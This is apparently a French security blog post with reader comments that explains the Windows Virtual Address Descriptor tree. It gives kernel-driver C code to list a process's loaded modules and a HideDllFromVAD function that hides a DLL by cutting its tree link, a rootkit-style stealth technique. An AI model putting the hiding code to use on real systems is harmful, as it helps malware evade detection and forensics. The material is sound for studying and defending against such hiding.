Hidding Module from the Virtual Address Descriptor Tree

Salut =)
Récemment j’ai lu un post d’Ivanlef0u : LdrpHashTable dans lequel il montre comment cacher une dll de cette table. En lisant ce post on peut dire que nous connaissons 4 techniques pour cacher une dll :

  1. Unlink de InLoadOrderModuleList.
  2. Unlink de InMemoryOrderModuleList.
  3. Unlink de InInitializationOrderModuleList.
  4. Unlink de LdrpHashTable.

Mon but est donc de vous montrer une nouvelle méthode. Cette technique est basée sur les Virtual Address Descriptors. Essayons donc de comprendre le fonctionnement de la gestion de ces descripteurs.

Understanding Virtual Address Descriptors :

En fait chaque processus possède des VADs situés en kernel land et il existe un VAD pour décrire chaque espace de mémoire du utilisé par le processus. Un VAD est constitué de la structure MMVAD que voici :

typedef struct MMVAD {
/*0x000*/     ULONG32      StartingVpn;
/*0x004*/     ULONG32      EndingVpn;
/*0x008*/     struct _MMVAD* Parent;
/*0x00C*/     struct _MMVAD* LeftChild;
/*0x010*/     struct _MMVAD* RightChild;
              union
              {
/*0x014*/         ULONG32      LongFlags;
/*0x014*/         struct _MMVAD_FLAGS VadFlags;
              }u;
/*0x018*/     struct _CONTROL_AREA* ControlArea;
/*0x01C*/     struct _MMPTE* FirstPrototypePte;
/*0x020*/     struct _MMPTE* LastContiguousPte;
              union
              {
/*0x024*/         ULONG32      LongFlags2;
/*0x024*/         struct _MMVAD_FLAGS2 VadFlags2;
              }u2;
}MMVAD, *PMMVAD;

Maintenant j’attire votre attention sur les champs suivant :

/*0x008*/     struct _MMVAD* Parent;
/*0x00C*/     struct _MMVAD* LeftChild;
/*0x010*/     struct _MMVAD* RightChild;

On voit que un VAD a un « VAD parent » et deux « VADs enfants ». C’est à dire que les VADs sont organisés comme un arbre. Vous comprendrez mieux avec le schéma qui suit.

Un autre champ important est celui-ci :

/*0x018*/     struct _CONTROL_AREA* ControlArea;

La définition de cette structure est :

struct _CONTROL_AREA* ControlArea;
typedef struct CONTROL_AREA {
/*0x000*/     struct _SEGMENT* Segment;
/*0x004*/     struct _LIST_ENTRY DereferenceList;
/*0x00C*/     ULONG32      NumberOfSectionReferences;
/*0x010*/     ULONG32      NumberOfPfnReferences;
/*0x014*/     ULONG32      NumberOfMappedViews;
/*0x018*/     UINT16       NumberOfSubsections;
/*0x01A*/     UINT16       FlushInProgressCount;
/*0x01C*/     ULONG32      NumberOfUserReferences;
              union
              {
/*0x020*/         ULONG32      LongFlags;
/*0x020*/         struct _MMSECTION_FLAGS Flags;
              }u;
/*0x024*/     struct _FILE_OBJECT* FilePointer;
/*0x028*/     struct _EVENT_COUNTER* WaitingForDeletion;
/*0x02C*/     UINT16       ModifiedWriteCount;
/*0x02E*/     UINT16       NumberOfSystemCacheViews;
}CONTROL_AREA, *PCONTROL_AREA;

On peut donc obtenir un pointeur vers une structure _FILE_OBJECT qui peut nous permettre, si l’espace de mémoire correspond à un module chargé, de retrouver son nom :

nt!_FILE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Vpb              : Ptr32 _VPB
   +0x00c FsContext        : Ptr32 Void
   +0x010 FsContext2       : Ptr32 Void
   +0x014 SectionObjectPointer : Ptr32 _SECTION_OBJECT_POINTERS
   +0x018 PrivateCacheMap  : Ptr32 Void
   +0x01c FinalStatus      : Int4B
   +0x020 RelatedFileObject : Ptr32 _FILE_OBJECT
   +0x024 LockOperation    : UChar
   +0x025 DeletePending    : UChar
   +0x026 ReadAccess       : UChar
   +0x027 WriteAccess      : UChar
   +0x028 DeleteAccess     : UChar
   +0x029 SharedRead       : UChar
   +0x02a SharedWrite      : UChar
   +0x02b SharedDelete     : UChar
   +0x02c Flags            : Uint4B
   +0x030 FileName         : _UNICODE_STRING
   +0x038 CurrentByteOffset : _LARGE_INTEGER
   +0x040 Waiters          : Uint4B
   +0x044 Busy             : Uint4B
   +0x048 LastLock         : Ptr32 Void
   +0x04c Lock             : _KEVENT
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : Ptr32 _IO_COMPLETION_CONTEXT

Donc voici a schéma qui témoigne de tout ce que j’ai dit :

De plus, Windbg nous permet de lister les VADs assez simplement, voici un exemple :

kd> !process 0 0 calc.exe
PROCESS 8163b020  SessionId: 0  Cid: 01d0    Peb: 7ffde000  ParentCid: 0654
    DirBase: 0d6c3000  ObjectTable: e12a18f8  HandleCount:  40.
    Image: calc.exe
 
kd> dt _EPROCESS 8163b020
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x06c ProcessLock      : _EX_PUSH_LOCK
   +0x070 CreateTime       : _LARGE_INTEGER 0x1cabeaf`5509f2b0
   +0x078 ExitTime         : _LARGE_INTEGER 0x0
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : 0x000001d0
   +0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x805604d8 - 0x811b4ca0 ]
   +0x090 QuotaUsage       : [3] 0x870
   +0x09c QuotaPeak        : [3] 0x898
   +0x0a8 CommitCharge     : 0xee
   +0x0ac PeakVirtualSize  : 0x2258000
   +0x0b0 VirtualSize      : 0x1d31000
   +0x0b4 SessionProcessLinks : _LIST_ENTRY [ 0xf9fb5014 - 0x8114a0d4 ]
   +0x0bc DebugPort        : (null)
   +0x0c0 ExceptionPort    : 0xe13bea18
   +0x0c4 ObjectTable      : 0xe12a18f8 _HANDLE_TABLE
   +0x0c8 Token            : _EX_FAST_REF
   +0x0cc WorkingSetLock   : _FAST_MUTEX
   +0x0ec WorkingSetPage   : 0x346
   +0x0f0 AddressCreationLock : _FAST_MUTEX
   +0x110 HyperSpaceLock   : 0
   +0x114 ForkInProgress   : (null)
   +0x118 HardwareTrigger  : 0
   +0x11c VadRoot          : 0x810051c8
...
kd> !vad 0x810051c8
VAD     level      start      end    commit
8112a328 ( 2)         10       10         1 Private      READWRITE
811260a0 ( 1)         20       20         1 Private      READWRITE
811e1008 ( 4)         30       30         1 Private      READWRITE
811294f0 ( 3)         40       7f         4 Private      READWRITE
8113f288 ( 2)         80       81         2 Private      EXECUTE_READWRITE
810761c0 ( 3)         90       92         0 Mapped       READONLY
810051c8 ( 0)         a0       a1         0 Mapped       READONLY
810cc678 ( 4)         b0      1af        18 Private      READWRITE
810f15e8 ( 3)        1b0      1bf         6 Private      READWRITE
81148d50 ( 4)        1c0      1cf         0 Mapped       READWRITE
81104cf0 ( 2)        1d0      1e5         0 Mapped       READONLY
810ec5f0 ( 5)        1f0      22c         0 Mapped       READONLY
810d3ad0 ( 4)        230      270         0 Mapped       READONLY
810e9008 ( 3)        280      285         0 Mapped       READONLY
81158288 ( 6)        290      357         0 Mapped       EXECUTE_READ
81652628 ( 7)        360      360         1 Private      READWRITE
81168268 ( 8)        370      37f         6 Private      READWRITE
8165d448 ( 9)        380      381         0 Mapped       READONLY
81609178 (10)        3a0      3a1         0 Mapped       READONLY
81142510 (11)        3b0      3b0         0 Mapped       READWRITE
81124aa8 ( 5)        3c0      3cf         8 Private      READWRITE
81123390 ( 4)        3d0      3df         4 Private      READWRITE
81130cf8 ( 6)        3e0      3e2         0 Mapped       READONLY
81656ad8 ( 5)        3f0      42f         3 Private      READWRITE
810ca450 ( 7)        430      532         0 Mapped       READONLY
8112d478 ( 6)        540      83f         0 Mapped       EXECUTE_READ
81140350 ( 7)        840      8bf         1 Private      READWRITE
810d6750 ( 8)        8c0      90f         0 Mapped       READONLY
81139540 ( 9)        910      931        28 Mapped  Exe  EXECUTE_WRITECOPY
812119b0 (10)        940      a3f         4 Private      NO_ACCESS
815f43b0 ( 1)       1000     101e         3 Mapped  Exe  EXECUTE_WRITECOPY
810f01f8 ( 8)      595b0    59779        10 Mapped  Exe  EXECUTE_WRITECOPY
810d0530 ( 9)      5b090    5b0c7         2 Mapped  Exe  EXECUTE_WRITECOPY
8168d668 ( 7)      5cea0    5cec5        20 Mapped  Exe  EXECUTE_WRITECOPY
815ef448 ( 9)      76960    76a14         3 Mapped  Exe  EXECUTE_WRITECOPY
810cc180 ( 8)      76ae0    76b0e         3 Mapped  Exe  EXECUTE_WRITECOPY
810cb9c0 (10)      770e0    7716b         4 Mapped  Exe  EXECUTE_WRITECOPY
8114aef8 (11)      77390    77491         2 Mapped  Exe  EXECUTE_WRITECOPY
81639090 ( 9)      774a0    775dc         8 Mapped  Exe  EXECUTE_WRITECOPY
816a3078 (10)      77bb0    77bc4         2 Mapped  Exe  EXECUTE_WRITECOPY
810cf3d8 (11)      77bd0    77bd7         1 Mapped  Exe  EXECUTE_WRITECOPY
810ab7d8 ( 6)      77be0    77c37         7 Mapped  Exe  EXECUTE_WRITECOPY
810bccd0 ( 5)      77d10    77d9f         5 Mapped  Exe  EXECUTE_WRITECOPY
816c80a0 ( 4)      77da0    77e4b         6 Mapped  Exe  EXECUTE_WRITECOPY
810b9008 ( 5)      77e50    77ee0         2 Mapped  Exe  EXECUTE_WRITECOPY
81143f18 ( 6)      77ef0    77f36         2 Mapped  Exe  EXECUTE_WRITECOPY
811372c0 ( 7)      77f40    77fb5         2 Mapped  Exe  EXECUTE_WRITECOPY
810f83a0 ( 3)      7c800    7c903        13 Mapped  Exe  EXECUTE_WRITECOPY
8168fdc0 ( 2)      7c910    7c9c6         5 Mapped  Exe  EXECUTE_WRITECOPY
816c1770 ( 5)      7c9d0    7d1f2        31 Mapped  Exe  EXECUTE_WRITECOPY
81154fd8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ
8161b2e0 ( 3)      7ffb0    7ffd3         0 Mapped       READONLY
816a3990 ( 5)      7ffdd    7ffdd         1 Private      READWRITE
8169a128 ( 4)      7ffde    7ffde         1 Private      READWRITE 
 
Total VADs:    54  average level:    6  maximum depth: 11

Bien, maintenant nous allons manipuler les VADs nous-même.

Walking into the VAD Tree :

Je vous ai montré comment parcourir la l’arbre des VADs manuellement. On est donc en mesure de coder un driver pour lister les VADs d’un processus.

Premièrement on doit obtenir un pointeur vers le premier VAD (VadRoot) depuis la structure EPROCESS :

PMMVAD GetVAD(PUCHAR szProcessName)
{
       PMMVAD pVadRoot = NULL;
       PEPROCESS pEprocess = NULL;
 
       pEprocess = GetEprocess(szProcessName);
 
       DbgPrint("\n\nEPROCESS : 0x%x \n\n", pEprocess);
 
       if(pEprocess == 0x0)
       {
                    DbgPrint("\nProcess not found\n");
                    return 0x0;
       }
       pVadRoot = (PMMVAD)*(PULONG)((PUCHAR)pEprocess+0x11C);
 
       DbgPrint("\n\nVADRoot : 0x%x\n\n", pVadRoot);
 
       return pVadRoot;
}

Et ensuite nous pouvons lister les « VAD enfants » et ainsi de suite. Seulement vous allez me dire que cela est un peu difficile car il y a un « VAD enfant à gauche » et un autre « à droite » qui tous deux ont également deux « VAD enfants » etc… L’astuce est d’utiliser la récursivité. J’obtiens alors cette fonction :

VOID ListVAD(PMMVAD pParentVad, LONG level)
{
      PMMVAD pVadLeft = NULL;
      PMMVAD pVadRight = NULL;
      VAD_INFO VadInfo;
 
      if(pParentVad == 0x0)
                    return;
 
      VadInfo.level = level;
      SetVadInfo(pParentVad, &VadInfo);
      DisplayVadInfo(&VadInfo);
 
      pVadLeft = (PMMVAD)pParentVad->LeftChild;
      pVadRight = (PMMVAD)pParentVad->RightChild; 
 
      if(pVadLeft != 0x0)
      {
                  ListVAD(pVadLeft, level+1);
      }
      if(pVadRight != 0x0)
      {
                  ListVAD(pVadRight, level+1);
      }
 
      return;
}

Vous voyez que les VADs vont avoir des niveaux selon leur position dans l’arbre (parents, enfants, petits enfants, … =) ).

Pour chaque VAD j’affiche quelques informations et voici le résultat :

Lilxam VADTree driver OK
 
EPROCESS : 0x8163b020 
 
VADRoot : 0x810051c8
 
[+]0x810051c8
      Level : 0
      Control Area : 0x811c44e0
      File Object : 0x0
      Name : (null)
 
[+]0x811260a0
      Level : 1
      Control Area : 0xa070004
      File Object : 0x0
      Name : (null)
 
[+]0x8112a328
      Level : 2
      Control Area : 0x170004
      File Object : 0x0
      Name : (null)
 
[+]0x8113f288
      Level : 2
      Control Area : 0xa060004
      File Object : 0x0
      Name : (null)
 
...
 
[+]0x815f43b0
      Level : 1
      Control Area : 0x81650338
      File Object : 0x81641840
      Name : \WINDOWS\system32\calc.exe
 
[+]0x81104cf0
      Level : 2
      Control Area : 0x81695e60
      File Object : 0x81695de8
      Name : \WINDOWS\system32\unicode.nls
 
...
 
[+]0x8168fdc0
      Level : 2
      Control Area : 0x817b62d8
      File Object : 0x81791898
      Name : \WINDOWS\system32\ntdll.dll
 
[+]0x810f83a0
      Level : 3
      Control Area : 0x81642c98
      File Object : 0x81697488
      Name : \WINDOWS\system32\kernel32.dll
 
[+]0x816c80a0
      Level : 4
      Control Area : 0x817048b8
      File Object : 0x8166d798
      Name : \WINDOWS\system32\advapi32.dll
 
[+]0x810bccd0
      Level : 5
      Control Area : 0x8162d388
      File Object : 0x816c3520
      Name : \WINDOWS\system32\user32.dll
 
...
 
Driver exited

Bien, vous comprenez qu’avec cette technique on peut lister les Dlls and trouver celles qui sont cachés des 4 listes citées précédemment !

Ivanlef0u owned ;p.

Mais alors qu’en est-il si on veux cacher une dll ce cette nouvelle liste ?

Hiding from VAD :

Alors ce n’est pas très difficile de cacher une Dll de l’arbre des VADs. Par exemple on peut parcourir les VADs en cherchant notre dll à cacher et ensuite en remplaçant le pointeur de son « VAD parent » par un pointeur null et il sera impossible de le retrouver avec notre fonction précédente. Cette technique n’est pas très propre puisque tous les autres VADs dépendant de celui que nous cachons vont être eux aussi cachés. On aurait pu créer notre propre VAD qui aurait prit la place de celui que nous souhaitons faire disparaitre par exemple, cela aurait été plus propre. Mais par manque de temps j’ai préféré implémenté la première méthode :

VOID HideDllFromVAD(PMMVAD pParentVad, LONG level, PUNICODE_STRING pDllName)
{
      PMMVAD pVadLeft = NULL;
      PMMVAD pVadRight = NULL;
      PUNICODE_STRING pVadName = NULL;
 
      if((LONG)pParentVad == 0x0)
                    return;
 
      pVadLeft = (PMMVAD)pParentVad->LeftChild;
      pVadRight = (PMMVAD)pParentVad->RightChild; 
 
      /* Check left VAD */
      pVadName = GetVADName(pVadLeft);
 
      if(pVadName != 0x0)
      {
                  if(wcsstr(pVadName->Buffer, pDllName->Buffer))
                  {
                                      DbgPrint("\nDll found : %wZ", pVadName);
                                      DbgPrint("\nErasing from Vad list...");
                                      (ULONG)pParentVad->LeftChild = 0x0;
 
                                      return;
                  }
      } 
 
      /* Check Right VAD */
      pVadName = GetVADName(pVadRight);
 
      if(pVadName != 0x0)
      {
                  if(wcsstr(pVadName->Buffer, pDllName->Buffer))
                  {
                                      DbgPrint("\nDll found : %wZ", pVadName);
                                      DbgPrint("\nErasing from Vad list...");
                                      (ULONG)pParentVad->RightChild = 0x0;
 
                                      return;
                  }
      }                           
 
      if(pVadLeft != 0x0)
      {
                  HideDllFromVAD(pVadLeft, level+1, pDllName);
      }
      if(pVadRight != 0x0)
      {
                  HideDllFromVAD(pVadRight, level+1, pDllName);
      }
 
      return;
}

Bien, c’est la fin de cet article, vous pouvez consulter les sources en ligne ici : VADTree.c & structs.h

Ou télécharger les Sources+Binaire ici : VAD_Tree.zip

Cya !

    • hasde
    • 10 mars 2010

    Franchement bien :)
    J’avais encore jamais vue cette histoire de VAD.

    • Flopik
    • 5 avril 2010

    Est-ce que ca peux causer des problemes de stabilités un effacement du VAD comme ca ?

    • lilxam
    • 7 avril 2010

    Salut,
    et bien je n’ai encore eu aucun problème, mais je suis parfaitement conscient que ma méthode est un peu « barbare ».
    En fait il serait beaucoup plus propre et stable de modifier seulement la structure FILE_OBJECT. C’est ce que j’aurais mieux fait de faire.
    Ensuite, je pense, il y a d’autres champs à modifier parce que même en effaçant la structure FILE_OBJECT, le VAD comporte des flags qui permettent de savoir que l’espace mémoire correspondant est exécutable et donc on peut savoir qu’il s’agit d’un module. C’est un sujet qui mérite d’être développé, si j’ai le temps j’essaierai de faire un code un peu mieux.
    Cordialement,
    Lilxam.

    • Fury
    • 11 juin 2011

    En effet c’est très interresant merci pour cette article. Sa serait sympa si tu pouvais expliqué un peu plus sur ce FILE_OBJECT et manipuler les flags.

  1. Aucun trackback pour l'instant

Les commentaires sont fermés